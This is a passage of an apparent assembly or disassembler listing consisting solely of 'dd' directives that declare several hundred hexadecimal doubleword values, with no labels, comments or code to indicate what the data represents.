		dd 1D467Ch, 93F4A973h, 15E94597h, 0E1079BBFh, 4F4A0222h
		dd 0B415F2CDh, 430B5784h, 5EDA4601h, 397AFF38h,	0B0090613h
		dd 204CB9F6h, 12FD1567h, 0BD229C39h, 6B4ACDDCh,	56BFE022h
		dd 0CB19DC71h, 0EE7E0C3Ch, 8E688ECDh, 0F91FCD8h, 46D488B4h
		dd 0F510B14h, 3C8A188Dh, 569C3AEDh, 0EAF69185h,	2580A258h
		dd 608C4F75h, 0F44F30E1h, 3DB7A920h, 304A9BCFh,	1EB3BEFCh
		dd 8B7F1507h, 0E91550F1h, 9B535700h, 0EC904Bh, 0D0D9A21Fh
		dd 0F18DDB95h, 86778200h, 2148896Bh, 0A731E95Eh, 1AF03636h
		dd 8D222923h, 35E927CDh, 17C41EE7h, 76F8E763h, 0BE0B6641h
		dd 77B0360Fh, 6FC0636Dh, 48B7A50Fh, 0C000E3EBh,	8970E6DCh
		dd 9BB4D19Dh, 3771E409h, 0BC498434h, 5D2981F5h,	116A3F2Eh
		dd 29131423h, 1B951204h, 0BDC260EDh, 0C42E1235h, 66EC0D9Dh
		dd 0A429F787h, 0FDD3D5F1h, 166DEC35h, 0FA466F97h, 4F8B7988h
		dd 0A60F13F9h, 0C167E0D6h, 64360089h, 0DAB8F90Eh, 0D85E2BC6h
		dd 3F26BFFh, 8532062Ah,	27ECBD6Fh, 6F241C13h, 5BA600F2h
		dd 0FC4A36F7h, 815F0E57h, 4E054DD6h, 0B2D8A62Dh, 459D301Bh
		dd 6D11A702h, 8229EAB3h, 0FC19B5DCh, 0C1B15318h, 7213051Ch
		dd 91A0DAB7h, 4E48E637h, 0B8CC5D67h, 54F90072h,	3B6D29EDh
		dd 0BD588978h, 16C4941Eh, 0AA92E47Fh, 0FAA2A46h, 0B649C0E2h
		dd 637853F3h, 77BA03D7h, 0B2D9A4AEh, 777106B2h,	0DE1815F1h
		dd 5A8BAD3Ah, 9202C86Eh, 0B7D7363Ah, 0B50BA648h, 0F5850D5Fh
		dd 0E06F8556h, 893B3C00h, 0EA9825F8h, 9DEE6075h, 0D6C2494Fh
		dd 2C56D061h, 64C20282h, 0B9AAC158h, 1CCA6923h,	153880Fh
		dd 57A075E7h, 3900CA8Fh, 294E586Ah, 8230C585h, 1F034079h
		dd 0F899945Ch, 0D4991h,	0BF8E97B6h, 9F69527h, 7B95F17h
		dd 0A28898EAh, 0A600C971h, 1A5711D1h, 810AB5h, 32E9CEAEh
		dd 0BE2B047Eh, 9F04BA5Ah, 57E38A0Fh, 0D1036516h, 2A1FDD16h
		dd 2BCA97CDh, 660087F9h, 999A8A77h, 0AF730307h,	19D9DD1Ah
		dd 9DB86CD3h, 8C4F0F23h, 1381B922h, 3449BDE8h, 0BE966495h
		dd 0F6041391h, 31A83428h, 7C04F76Fh, 82C75A48h,	0C3E140C6h
		dd 3EFF2591h, 6C832E2Ah, 0F91555Bh, 1FD9728Eh, 0CD672BF8h
		dd 6377C0A4h, 1EB8C1F5h, 26C5FB9Eh, 9DB8A037h, 2D78060h
		dd 617BEA40h, 0E90A3AB6h, 3104103Dh, 6AD0B19Dh,	0A161D58Ah
		dd 497F3580h, 6B7BC054h, 17F470h, 4BAE749Fh, 0FB8B8545h
		dd 0F92599B0h, 0BE445930h, 25C7F31Fh, 0F49FA569h, 379F3B2Dh
		dd 9A5200D3h, 8BB86660h, 0E9814201h, 75E85FD9h,	0F8C0D889h
		dd 30EA0FFBh, 55AC0192h, 0CE6F9AB4h, 0BB05737Fh, 0A3A638D4h
		dd 98331CB2h, 5607F77h,	7D2C482Eh, 814F98A6h, 0F92DEE14h
		dd 92902ECEh, 0ED9F00DEh, 1A56BF12h, 60487458h,	9F1D22FDh
		dd 489E8390h, 0BA4ABC00h, 0A924BF6Ch, 33B10087h, 58D444B8h
		dd 81028F08h, 65255FDFh, 33DBDC5Bh, 54848D4Eh, 828A70FAh
		dd 404E13Ah, 85B6C161h,	0BBC1142Bh, 0A9721331h,	9112110h
		dd 0F3F2BF0Fh, 5FF073C8h, 0C44E84Ah, 67A40E1Ch,	0BA6060CEh
		dd 1D5FA5E7h, 91708266h, 12EA9899h, 0E41E2DB5h,	99BE996Ah
		dd 65E58596h, 0A331CA9Bh, 44F8F625h, 0B02C0015h, 0EC9401D2h
		dd 0C40BCEE3h, 0DFA72D4Ch, 5F5BD0C4h, 6A3E2F6Eh, 89CC0E02h
		dd 0B7822A6Bh, 92D0FEE9h, 0BB566000h, 264BE533h, 1FB94B5Ah
		dd 8D2183AFh, 0AF021C69h, 0E718F281h, 0F2FC660h, 0FA897D61h
		dd 25C03ECEh, 60B28027h, 8B175AF8h, 3A5FE58Dh, 20AD4CB1h
		dd 82ECDE2Ah, 0E1E5F38Fh, 0F5302A5Fh, 0A062DADEh, 6660C04Fh
		dd 2483C62Fh, 20F401E1h, 0D21FA11Fh, 0B75A60A0h, 23002C37h
		dd 0BF1E8898h, 9EC49766h, 42CBE600h, 31DEDFF2h,	0D2B4007Bh
		dd 1A2B305Dh, 0F3158021h, 224B5E26h, 5A109D12h,	3C008254h
		dd 64D95E15h, 5CA476Bh,	61164BE1h, 6FE13560h, 0C5027117h
		dd 5A14893Fh, 6998606Bh, 57E1A228h, 0DEAC04AAh,	4F56DE16h
		dd 1AC5F2B1h, 91CB7417h, 3F17D910h, 0D405EE7Ah,	0C2CB2B9Fh
		dd 51C41984h, 0FBF75A8Ah, 84EE5859h, 1080D501h,	1B8D858Bh
		dd 0E0D75B42h, 8233A976h, 0C9F9D71Ah, 85DF193h,	36C46FAAh
		dd 8770BB9h, 0B807E0A0h, 7076FD9Ch, 86FBDEFh, 826AEBA5h
		dd 9AE38E0Ah, 1E312508h, 6D5B0381h, 184E0CE0h, 0A9C8BB56h
		dd 8E7707h, 39D52F4Bh, 910E2CA3h, 936BA000h, 647E7BCh
		dd 0DFDAC675h, 2E82B25Bh, 0F707673h, 90E11EC1h,	0A6642722h
		dd 9B592100h, 69DFF329h, 14F13F87h, 968049DCh, 0D96E8B71h
		dd 76E49414h, 5E2EC990h, 9206F665h, 0EE7E3C7Dh,	0BFE45F1Ah
		dd 0F6BFF920h, 531FE476h, 0FC299C8Bh, 49BDC1E9h, 0D41E041Fh
		dd 25559D1Ch, 0C0F5CACFh, 0CD1B4A25h, 119CE255h, 9D4045Dh
		dd 82C4521Ah, 0DD227998h, 53358A03h, 9A737092h,	19E10812h
		dd 12A14C04h, 0AB7C2672h, 495600F6h, 531E5494h,	0C11A5B48h
		dd 9B6E38Ah, 0C02AED67h, 47B11364h, 18D3112h, 0E3227BE1h
		dd 10F480C2h, 0D65FD588h, 6AD60200h, 0B7DBA78Fh, 0EA5048D1h
		dd 0EE7AD54Ah, 233E69B2h, 122B0910h, 229D85C7h,	69B8D879h
		dd 934B8C00h, 4526539Ch, 95399072h, 0E58AA5C8h,	0BDB6614Bh
		dd 0B0E3FAE5h, 72080675h, 606107EBh, 0F27B3EE1h, 0B27A502h
		dd 8D48598Dh, 75279D01h, 1EC1BD15h, 0BF41C013h,	0A46A3D63h
		dd 20FC8958h, 0C18B0316h, 1C8F4FEBh, 8ABD200h, 0ACDAC6A1h
		dd 38D4F4A4h, 0E4B85CD2h, 3134CE03h, 27A81BF5h,	0D17929B3h
		dd 0C7DD5B03h, 0E717E62Ah, 67A1DFE7h, 9FC2A6DBh, 0B4870001h
		dd 202352DDh, 449ED938h, 129727E9h, 0D4FE64CCh,	0D7F7A01h
		dd 65B5291Ch, 5A2F0E3Ch, 46BC395Fh, 0DE8D35A6h,	0F663621Fh
		dd 0C80A6BEEh, 1C284BB8h, 13FB0844h, 2725330Ch,	0C19D12D0h
		dd 7AF577CAh, 25897B20h, 0FF9A24C5h, 8A60AA6Dh,	0B8EB2073h
		dd 15C22D76h, 4399BEFFh, 0BD02213h, 0A5269D8Dh,	1193ED7Fh
		dd 111A4211h, 608BA473h, 19D80D0h, 61557F36h, 1B7C23Bh
		dd 3EF47FDCh, 0C783DA95h, 36FF5256h, 0AD5CBC50h, 85D41941h
		dd 18162554h, 1040467Ah, 66500790h, 6064F2BAh, 0EE96051h
		dd 0E0D75BCEh, 3268F8D6h, 92AD01E7h, 0F20BD415h, 0A6C32E2Eh
		dd 1158225Ah, 44DFD2C1h, 28050D0h, 0F595752h, 0EAA15331h
		dd 4C68B58h, 2AEDF724h,	795C7260h, 387604DDh, 0FC2C08FFh
		dd 30407963h, 0F2810053h, 4BAA3A97h, 47CF8B59h,	0B3E98060h
		dd 951FB5C0h, 610D9EC6h, 0C03C8589h, 0DF00476h,	0E10623EAh
		dd 0C593BF66h, 0F081677h, 0F6238484h, 958B0459h, 0B6060D1Dh
		dd 5043825Eh, 16B88148h, 0DE2F3A8Ch, 0D2446C8h,	44D3C5E3h
		dd 17206939h, 23588CBFh, 0F8BABDFAh, 21D0E84Bh,	3D9AA7D2h
		dd 0A45C60D4h, 0F97D9180h, 7E72178Dh, 5916790Ah, 6607F258h
		dd 0F4CAF4B8h, 0C15927h, 36CC6D60h, 0A009B941h,	55991C3h
		dd 6B826101h, 8ACE90FEh, 0F680F1D7h, 8860BA56h,	5F712B87h
		dd 933F0691h, 643058D6h, 12A8B9F9h, 554254h, 9988E139h
		dd 6A98FF5Fh, 84B6849Ah, 0AF8C09DCh, 0C70210BDh, 44720755h
		dd 9D1BE212h, 78FE7503h
		dd 0CFA7DF17h, 49409850h, 4B337D60h, 8C3013B5h,	0FF316124h
		dd 4F54ED0h, 0D242CE39h, 2D106E48h, 0EB21305h, 660BC348h
		dd 37BD469Fh, 8BC80D1h,	5A1F5463h, 5601840Ch, 0ECC2CEF5h
		dd 0AC0493A7h, 111908F2h, 0C00E680Fh, 0B966CA6Fh, 81FC0039h
		dd 30EC2434h, 0E09D4060h, 810AA9A5h, 72BC5961h,	0B65500BCh
		dd 0BEB907AFh, 0EDF71538h, 8A98A13Ah, 8B5142D9h, 0B8772D92h
		dd 0EEC40160h, 0BA4BEBB2h, 39B72062h, 0A410B2A2h, 0ACA1FB8Bh
		dd 0A419FA21h, 8BF86010h, 15B18D1Ah, 568B31CDh,	4071A030h
		dd 4002682Bh, 8B85BF10h, 7989A0CFh, 0CD51A07Dh,	4A37A944h
		dd 0EAB64A43h, 0DD752EA0h, 7A31A01h, 0FDA90AEDh, 1C0BAA96h
		dd 64AB3491h, 6FA116A6h, 0EE5FCCh, 0FAE707Bh, 175AADEAh
		dd 4410330Bh, 809E8826h, 0C8684EEDh, 0B90A5181h, 9B022A90h
		dd 24CC6CC4h, 5700083h,	0B56050DBh, 0FB916180h,	0FCC18E27h
		dd 4457AF3Eh, 54D01CCEh, 0C3807D0Ah, 525E59D1h,	5A285B51h
		dd 3A906561h, 0B47810BDh, 35BF0003h, 0C6C11A4Bh, 0FD0C2015h
		dd 0D48FFB44h, 0D48A2631h, 92D6383Dh, 365992F0h, 0F31C3400h
		dd 0EA7025E0h, 0FEC00BBAh, 0CCF750B7h, 0FC54BF60h, 71BD3340h
		dd 2D56BF03h, 0A23E18CAh, 0B6D04A16h, 0F5A3E086h, 0EA550A01h
		dd 16D53DB1h, 30235340h, 9D1F4DE1h, 116E9300h, 0F0106856h
		dd 0BDBB12D1h, 5C8C0204h, 5E121816h, 5C899F50h,	95D9278Dh
		dd 1E291B16h, 0D70C60D2h, 0FFBB149Ah, 0E9C1FB71h, 3B8C1529h
		dd 756B78Ch, 9ACA262Eh,	70A75159h, 3108DC7Ch, 8F017D79h
		dd 48635C1Ch, 1461F88Bh, 5568A361h, 16FD2A80h, 0CA004B85h
		dd 84546A8Dh, 3987F8CBh, 0EB1625D6h, 3C55304Fh,	36070766h
		dd 0E97CE55Ah, 58599503h, 0BD60856h, 5C1D0EEh, 0C24C21F7h
		dd 40070B79h, 21F06897h, 9104C7B7h, 0FCB90010h,	581762DFh
		dd 41D379Fh, 0C11DA68Dh, 0E4F8B7CEh, 952A31E2h,	1EAAB671h
		dd 16F11F79h, 0A6BAE819h, 9A2D3693h, 95476872h,	523042F9h
		dd 2F092601h, 617D341Ah, 3D398DBBh, 7B88681Eh, 0D1A60BBDh
		dd 0D7FDBC7Eh, 0E41AA612h, 5A5F47BFh, 2A98698Ch, 400757C7h
		dd 0BD09701Bh, 610017B4h, 0C46A6D68h, 9B7598B7h, 4831008Dh
		dd 4FA3A2F9h, 0EA1D2DA1h, 794063C3h, 592FC228h,	24040081h
		dd 463C9593h, 66B58F0Fh, 0C0D36B78h, 95ECE0D5h,	0BFF79815h
		dd 4ADC34DEh, 809F60D2h, 683AB082h, 0F7B200BAh,	50423107h
		dd 2C5CBF35h, 7AF28041h, 4C224528h, 711D380h, 449AF09Ch
		dd 5CE51219h, 0C506DC82h, 0C448B614h, 1AD54B60h, 37B74C0Dh
		dd 37996A81h, 0C971EFBFh, 3B9168F8h, 0B61567AFh, 6F02BD4Eh
		dd 0E9579950h, 22E75F80h, 0F93F2342h, 46BA02BBh, 581D2F8Ch
		dd 76B1090Dh, 5A760B6Ah, 0C06B5CDCh, 32B00522h,	0E642E912h
		dd 8215A2F0h, 50198F85h, 5D2EBAA8h, 339096CEh, 0A3F8C62Bh
		dd 6F30437Dh, 4912CED2h, 0C6995188h, 43316831h,	263104A6h
		dd 0AC08352Fh, 194B80ECh, 3034FE84h, 662042C4h,	0E1A45B8h
		dd 0FC769061h, 2D3BA841h, 4E3D010Dh, 6BDB0B02h,	8D63484Ch
		dd 0DF2360B5h, 0A545EBBAh, 0B4D796EEh, 0C05AC6F2h, 5961AACDh
		dd 0C1C05B02h, 0F73497ACh, 0BB170259h, 166BDF01h, 0D92D9661h
		dd 8600BAB8h, 83258570h, 9C2F926Fh, 0AFB30012h,	364DB950h
		dd 0C794FB5Ah, 5EC0269Bh, 0BFAB359Fh, 0EB902D78h, 2B5ACE02h
		dd 900FB9BDh, 0BE0BCDB2h, 0B624F4DCh, 84160F66h, 91B2F621h
		dd 809FB17Ch, 0C12607D6h, 0A00965Ah, 9820CA24h,	176F7E1Fh
		dd 0BFC00B5Fh, 9CF968C8h, 0C7E96243h, 0D1BF1D48h, 7F7D5117h
		dd 0A79B0C17h, 0D2C80B80h, 1009D709h, 90B58B29h, 2BDB92Bh
		dd 8D6EB0E4h, 3612046h,	424F2A1h, 282F6EBAh, 0D62CBA78h
		dd 560A150h, 0A2D3E95h,	88256831h, 885327F0h, 5F41BE78h
		dd 9624BAF1h, 5C25E813h, 0E6011A6Fh, 4FD94B22h,	0F15A8807h
		dd 22D4221Ch, 9173A84h,	91B44595h, 878B09BAh, 66A9F0E9h
		dd 0B27096DBh, 0A4EE00DEh, 0E6C86F19h, 8100FD89h, 4AACFFD1h
		dd 707E805Ch, 0BB88CD20h, 58DB2B6Ah, 8D89BFC2h,	602924D5h
		dd 8EB884ADh, 53092F4Fh, 0A9FA62B9h, 0DCEED41Fh, 0EC2227BDh
		dd 0E60A88F0h, 0E24490FBh, 31898102h, 133D79D5h, 0CEDE4885h
		dd 7866BC0h, 224AE916h,	0B9666E07h, 0F6401362h,	89C00539h
		dd 87C8F8EFh, 2E807815h, 9F05DDh, 92163012h, 0C2979A10h
		dd 0A013147Bh, 220861DFh, 0E3ED800Bh, 7F8777D9h, 8D6F001h
		dd 810FC9CDh, 0A0A0917h, 8CCD2F81h, 26B26BC0h, 95290846h
		dd 1A2F2391h, 60A7503Ch, 1DD1406Ah, 0C1B70994h,	6610FAECh
		dd 405876BFh, 5DBBC0C3h, 48B787FFh, 0BBA5A8DDh,	7825AF6Ah
		dd 0B13A7ECh, 50E4F5B5h, 0BEE90380h, 0F960D88Bh, 0D382B4C5h
		dd 0DBBF0F1Eh, 7D79C26Dh, 1B7C5F8Bh, 2ADCBDF4h,	0D2F98B49h
		dd 17E91657h, 0E89AE905h, 61AB0007h, 0D0F86E08h, 384B80BAh
		dd 50D99909h, 0E3ADADC3h, 0B89CAD1Eh, 0D4BA87B3h, 480EB211h
		dd 48F8A758h, 4BDF853Bh, 71987082h, 0AF6522D7h,	0A2095C94h
		dd 0F601FE62h, 560CB001h, 0F2713F3Dh, 0EA2F5699h, 0F1172EB3h
		dd 8805156Eh, 0E81E4Ah,	3C7ABB75h, 510049ADh, 433527C0h
		dd 13FA94E7h, 81B18531h, 6F405A38h, 3C00686Eh, 902A2E92h
		dd 5F012F75h, 0B5316BA7h, 83000191h, 7E9C50BDh,	0ECF58443h
		dd 0C8D7EADEh, 0B91E6AD9h, 0E4677C7Bh, 3F140439h, 0E319E20Eh
		dd 0A6ECD6C8h, 9534B580h, 19058CD7h, 903B86C7h,	39C33D80h
		dd 6E3FED50h, 0B37600DDh, 0A0857D45h, 80D4B15Fh, 92A877E4h
		dd 0D12DB342h, 0FCCB0234h, 1765531h, 159D0141h,	0E20305FEh
		dd 0B7FA5057h, 5B51F613h, 0DDAC8913h, 0DB4A3949h, 0A6D28544h
		dd 52C9DDC2h, 0DB044F89h, 0EC32814Dh, 60DA20C1h, 5F5FCE32h
		dd 0CD33BE50h, 0F3AB4FCFh, 9385494Ch, 4F27BA6Fh, 636324E2h
		dd 795809F4h, 5760038Ah, 49D04BE3h, 2800A7D6h, 4704CAD0h
		dd 12E50B9Dh, 439FE03h,	90FFD82h, 0DD8E925Fh, 80D4208Bh
		dd 0EE4D50DEh, 0AE3A05DAh, 0BD028FE9h, 121E8B1h, 8902519Bh
		dd 7E26959Dh, 0AF4CBBB9h, 187FE0Fh, 17A4218Bh, 0C7AA9B58h
		dd 0DA006866h, 1325843Eh, 0E23F282Ch, 0AD0F0092h, 238B746Ah
		dd 60250410h, 0B236E314h, 51AE00E2h, 70C773BFh,	0B077005Ch
		dd 2D798CB7h, 594A0172h, 0C9ED7C81h, 0E360425h,	0F63480F0h
		dd 4577D704h, 89844009h, 0F41EC6C2h, 1B28DC87h,	0D16BD585h
		dd 0DDA3EAF4h, 395A2D99h, 5AB96A3Ah, 19A502CBh,	8D2B0212h
		dd 89E1AFF5h, 0DCC776D8h, 90FC1030h, 122C3CE7h,	27E9B258h
		dd 0B9878849h, 32079548h, 0A34FD4EBh, 2DDA587Fh, 6682F781h
		dd 5E86050h, 2AB3A12Fh,	0F3C4BE63h, 40331356h, 0D9C2945Eh
		dd 0B48E0498h, 0FDF88B2Ah, 0B0572B5Ah, 0B3A9F6C4h, 95D470BDh
		dd 4DA7B5B6h, 1A5AC30Fh, 71F1308Fh, 0B5270EECh,	5D112438h
		dd 0E583F39Fh, 0FC0BCA8Ah, 4E162DBDh, 66014420h, 0ABD9BF05h
		dd 30F98AE9h, 0DB06A6ECh, 0DF7A34A4h, 63431254h, 81739B61h
		dd 0EFDD214h, 0D90D883Fh, 7C304C38h, 0DDA73100h, 81C1F284h
		dd 0CB1C6EC6h, 130FCAC0h, 0E9122F17h, 0C3ADF891h, 0A502C9E8h
		dd 61858901h, 0CE89562Bh, 70908009h, 5017E07Bh,	2890FCB6h
		dd 3C570BBFh, 0AED43D78h, 36C65F9Ah, 56240458h,	9A27555Fh
		dd 0B71D7A1Bh, 5D029446h, 991D343Dh, 289A5640h,	0BDBD7628h
		dd 49D0144h, 0FF0934C4h
		dd 4695F1C4h, 0C89A27Bh, 9264B860h, 0C21275Eh, 5001A73h
		dd 80F83E66h, 0C20D001Dh, 0B07645E2h, 8124A33Ch, 0F62208Bh
		dd 89548386h, 0AAA1FD95h, 0AB8EC46Eh, 0C5CB74A9h, 0A79F7D00h
		dd 1A0E332Bh, 0C0218799h, 0D23DDBA5h, 0DDAF122Ch, 0F5D6491Ch
		dd 0BA805379h, 74E91181h, 18E4BD90h, 87E54700h,	0C7A55F7Dh
		dd 622F0702h, 0BE048AA1h, 43E616B3h, 5F59D144h,	46B90C05h
		dd 0C38C9057h, 4DDE0083h, 38202A1Eh, 0F10E0179h, 0A0DF5B4Eh
		dd 0E134611Fh, 97B27A8Dh, 0EE4A70B2h, 0F78B4B40h, 8762B909h
		dd 20369AF6h, 7ED11D53h, 0AC181D29h, 7B2F80FCh,	0D37CA7DAh
		dd 6EAAD709h, 3D10401h,	7106BC13h, 0FF250841h, 3E8BD7F8h
		dd 59A723C0h, 5C5EB9C2h, 0C81AE5F4h, 0CB8AE28Ch, 9F70C753h
		dd 0A66B4B7Ch, 0D08B1ABBh, 702853A8h, 0C048DA3Ah, 0F9252541h
		dd 5FB5A70Eh, 8C26B04h,	2746F087h, 0C608B592h, 0F77712FCh
		dd 0E82B0CBh, 0BD8B088Fh, 0BA012FB1h, 0B996CFAh, 4D36493h
		dd 40A4936h, 604B75E9h,	4441C6F7h, 14A6A35h, 0FE2B98AAh
		dd 0C4177822h, 0F1C454Eh, 0EFC1A18Bh, 3C93680Ch, 23D8C704h
		dd 0DD25702h, 3C28F654h, 32E91A80h, 28AA2AE1h, 3012DF97h
		dd 6EE3A9C5h, 949E3F42h, 29260E13h, 6A508C57h, 5668057Ch
		dd 6102126Eh, 8EE0C1C3h, 1130008Bh, 0DDEA81F0h,	0C2838583h
		dd 21F10414h, 0F97F1E1Dh, 2A5C5CC2h, 0E6F50B18h, 4A5EBF4Fh
		dd 503E865h, 2DC22B58h,	6860F01Ah, 4D2D3881h, 0A077C65Ah
		dd 0E3C50EFh, 3A81D003h, 7E1945CDh, 2D2F3AEDh, 0E9E583DFh
		dd 314C72D9h, 0B5FEC88Bh, 40030023h, 0F14FDD3Ch, 32671C2h
		dd 12ACCF8Bh, 53440F5h,	1C5BF86Ch, 0D103310Ch, 0BD15C920h
		dd 1208B14Dh, 0FA051045h, 0E98448F2h, 8B514413h, 81104A80h
		dd 14B051A9h, 3359B582h, 0DBFDC3C0h, 0FD2494C8h, 3B6847B1h
		dd 0E4FD0551h, 868BA8AAh, 4AEB2AB5h, 4BD620D3h,	659F46FCh
		dd 0C080018Ah, 3E8B5F73h, 0F6D75E0Eh, 0CFB85747h, 50C93300h
		dd 8B580EF5h, 0D9610F14h, 0D008F281h, 6002798Eh, 32C8E2BBh
		dd 3AC619h, 5B543FBAh, 3A33CB7Dh, 7FBFED03h, 0C81F4BF8h
		dd 18F2495h, 8161DA31h,	0C48EDFC2h, 0FC59606Ch,	0ECBAC399h
		dd 0F22602C0h, 0A236214h, 89C1EB83h, 10F98E25h,	7CB64Eh
		dd 0B0802F50h, 0E9835E2Ch, 0F9490238h, 81A9D302h, 428CB4F9h
		dd 943A8418h, 0C58A1E90h, 1AA0079Dh, 400A1596h,	606A3DE4h
		dd 85632500h, 8D39B847h, 2908CC57h, 68244C21h, 950F3825h
		dd 6DFE02Fh, 0F00FFB55h, 6B3E005Ah, 0CAC8E626h,	1400673Bh
		dd 6D280E44h, 73278B07h, 0F6E49Eh, 0E4183E2Dh, 329F058Ah
		dd 38045A30h, 1255E3Dh,	0DB836094h, 800E453Fh, 2281B678h
		dd 0E0C29DCh, 0EF6F5291h, 0FA04E6C0h, 0B00C9C64h, 20EEF689h
		dd 2C68051Ah, 383C6F7Ah, 0EE467E20h, 680A970Fh,	808430CAh
		dd 91DF745Dh, 0F60C5EB6h, 84EBED8h, 7B21C02Bh, 1FFDDF7Ch
		dd 3139F800h, 69ADC5Fh,	0D79E01C8h, 0EA91B6CCh,	97708CE3h
		dd 8C6B6027h, 90DF7704h, 2C6256B6h, 0DF7F7C20h,	0A6EA17h
		dd 1DAAE68Ch, 223BC82Fh, 3DEF3A07h, 6AF7340Ah, 0CC1E1F85h
		dd 0F093FA00h, 0C839569h, 9B9D0E59h, 21DE2608h,	40F08B80h
		dd 51826315h, 8C01B83Ch, 1300E1EEh, 81C73D5Bh, 382D1815h
		dd 308B1042h, 62112561h, 35884F85h, 25694180h, 0C0CB5Bh
		dd 0C3CD8F02h, 0F8A1BA6Eh, 9105C0C1h, 20210Eh, 5933600Ch
		dd 0A25E62F0h, 0B0BE1200h, 0F57B4A28h, 1B0D0C9Dh, 5F99D5B2h
		dd 29B32D00h, 0F5CC515Dh, 277B7Ch, 0B9D25CF0h, 25E7089Ch
		dd 52F11B60h, 0F45D04h,	74B109AFh, 2FF0C63h, 8F3470C3h
		dd 0B5292828h, 917E30h,	6D84B6A6h, 706F4C6h, 0B4F6A500h
		dd 5EE74DF5h, 3096FC1Bh, 8AC02F52h, 0B2607B3Dh,	78C41A49h
		dd 6F6401CBh, 67166E61h, 0DF089879h, 60A521h, 0F432BFCBh
		dd 15AEFF45h, 0EC9C3A54h, 0D652300h, 131F8AE3h,	0C0724B57h
		dd 4C44D442h, 0D9981206h, 313D16h, 604634E1h, 0A777C93Ah
		dd 3905F39h, 0ED9B8732h, 0ACB2D093h, 0A878D935h, 864187Fh
		dd 816F60CBh, 9941DAC4h, 0D48DCB6Ch, 2201F6F5h,	0BE85D429h
		dd 0F88233C6h, 213DBA6Fh, 0B57DE881h, 0C63987D8h, 1650FB8Bh
		dd 2A6009A4h, 0A7B8370Ch, 602744B0h, 1DAA9621h,	5D2A6A32h
		dd 67A24992h, 0CE8930A1h, 215C21E0h, 602F53Ch, 26F4668h
		dd 0B69CDF73h, 10223176h, 0DF7B70h, 0B84811E1h,	0FC7A66CBh
		dd 85A45B02h, 4857A286h, 800FDB54h, 4250C5BDh, 11417180h
		dd 30899042h, 64102563h, 4FE05F85h, 0CC00256Bh,	78CF6F11h
		dd 24F780DAh, 1A503247h, 6417698Fh, 73802511h, 3ECC06B1h
		dd 3D491560h, 1EE25DCh,	6F27C52Ch, 941041C2h, 109C77B8h
		dd 6A883642h, 9FDF72C0h, 224E46B6h, 7A7D0029h, 91C82EDFh
		dd 0C4A0E66Eh, 3C48D4B2h, 0C07C8838h, 6F61CB63h, 0E08C8948h
		dd 0CB6BA6h, 78D3445h, 0B1B6E0BEh, 58EF4230h, 5873138h
		dd 0F65A92EAh, 6C58083Dh, 9DDF70C0h, 0D87E4CB6h, 0DF787FE0h
		dd 0AB584103h, 533B30B2h, 0C9A2E0A8h, 0A8439F33h, 50987751h
		dd 4222A406h, 16D2304h,	0B69EDF75h, 88381846h, 0DF007D7Eh
		dd 0CA8F9610h, 0CB17FCBh, 0C930FE6h, 8D009B20h,	859DE3E8h
		dd 99506E96h, 8078113Ch, 6F65CB67h, 13F58C69h, 5A60EFA2h
		dd 24BEB6h, 4B990BD1h, 0CE63295h, 1015B8C5h, 0ED3DC882h
		dd 0AE14E108h, 0EA67D06Fh, 0BB11E503h, 0ED9B3F6h, 0E08D7B81h
		dd 259E01A1h, 5DB9A62Dh, 7640B303h, 0A8F2DB9Bh,	4E1541Dh
		dd 82AEC628h, 8140804Ah, 490DB8Ah, 6F467898h, 70F09A02h
		dd 2B318B95h, 0F0925C10h, 0FC58D500h, 9580AC70h, 0DA22386Ch
		dd 6D88A0D8h, 72F09CC0h, 229B4695h, 945A0022h, 49997F0h
		dd 78BA5F95h, 0F89B6140h, 15200A57h, 44A416BCh,	25676095h
		dd 7F852378h, 4B283111h, 1ACEE2A0h, 59425B12h, 0D96E8002h
		dd 9E307464h, 22B9190Ah, 88B280CEh, 9683A6Bh, 0EE5082B3h
		dd 18711132h, 7ECB0962h, 141C916Fh, 3F6A9B3Bh, 8156895Fh
		dd 0B8EC10AAh, 3CA5843Ah, 0CE63DDC4h, 0E409A0C0h, 297DAE01h
		dd 393A2B1Dh, 0A8A27042h, 2DEC8F0h, 0BF8AB5A3h,	0E4C4B3DBh
		dd 12301100h, 7445D0DCh, 132B0058h, 0DAF39BBCh,	0B3028ACCh
		dd 629E856Fh, 6D00A35h,	88D54AB1h, 805CB548h, 232438C6h
		dd 22530868h, 8D0CD876h, 4226B872h, 36B23EEh, 9574F09Eh
		dd 4C8EDCh, 0FEF09658h,	2B98690h, 4B7885ACh, 2CC01B9Ah
		dd 7800AB1h, 2F1F4A88h,	38231Ch, 879601F5h, 2E035DB9h
		dd 1DCAE70Ch, 90581806h, 0E0B58919h, 0DD6CE9C0h, 4A1DD2h
		dd 22C32A28h, 0D4F8611Bh, 974E7309h, 16CD8624h,	44800039h
		dd 277FF7E3h, 80A70115h, 98602844h, 0C83EACB4h,	0F4EAA6B9h
		dd 621FE981h, 0D0F054E2h, 0C686046Bh, 0A655343Dh, 0B6F5E0D0h
		dd 6D38010Dh, 0D6A6D7F7h, 0E2A0332Fh, 159E30DFh, 8FD4D101h
		dd 0F689B64Dh, 67B832DBh, 65307A50h, 6F6311CBh,	80D38879h
		dd 97CB6DA4h, 0AAEEC181h, 0F20FECB0h, 67345769h, 0DA462C8h
		dd 0C072F8A1h, 163030F2h, 0BC7901E7h, 0E15501B4h, 2100D3B7h
		dd 460E6397h, 0B9DD9557h, 182AD134h, 73712F9h, 6F942090h
		dd 126075AAh, 0A592D5B0h, 0E2854C39h, 1DB85228h, 2EA1AA63h
		dd 31467C98h, 0F1D3E16h, 50907A58h, 0EF41FE1Ch,	0DE98C8ACh
		dd 555BC000h, 48B6608Bh
		dd 0D1989916h, 818D0h, 0AF491C1Dh, 0BEA0BA30h, 0B8056C05h
		dd 11822AA6h, 0EF88ED18h, 0DEC4B0E0h, 0B624C5E2h, 6011B430h
		dd 73F09D80h, 458C9395h, 0F0513021h, 78505A16h,	0E1415001h
		dd 88A8D47h, 8DB003BDh,	0FF311825h, 878D6DE0h, 4E885755h
		dd 0C0D0886Ch, 743C7198h, 0B34BA700h, 5684F6B7h, 0B0624DB1h
		dd 82329709h, 319ED841h, 14CCDBC4h, 0A6E92114h,	32465CA0h
		dd 9F539B00h, 910D277Ah, 58DF39E8h, 97AC0D7Ch, 0C80ED92Ch
		dd 0B6C0C888h, 0EE85EF2Ah, 0ED58A81Eh, 36C4870Eh, 0AE31A760h
		dd 8C948802h, 89A01D2Ch, 5C7B0888h, 30975832h, 663F2565h
		dd 3C22C685h, 256D4D00h, 6EE61133h, 9C0E5C7Fh, 8C27E8h
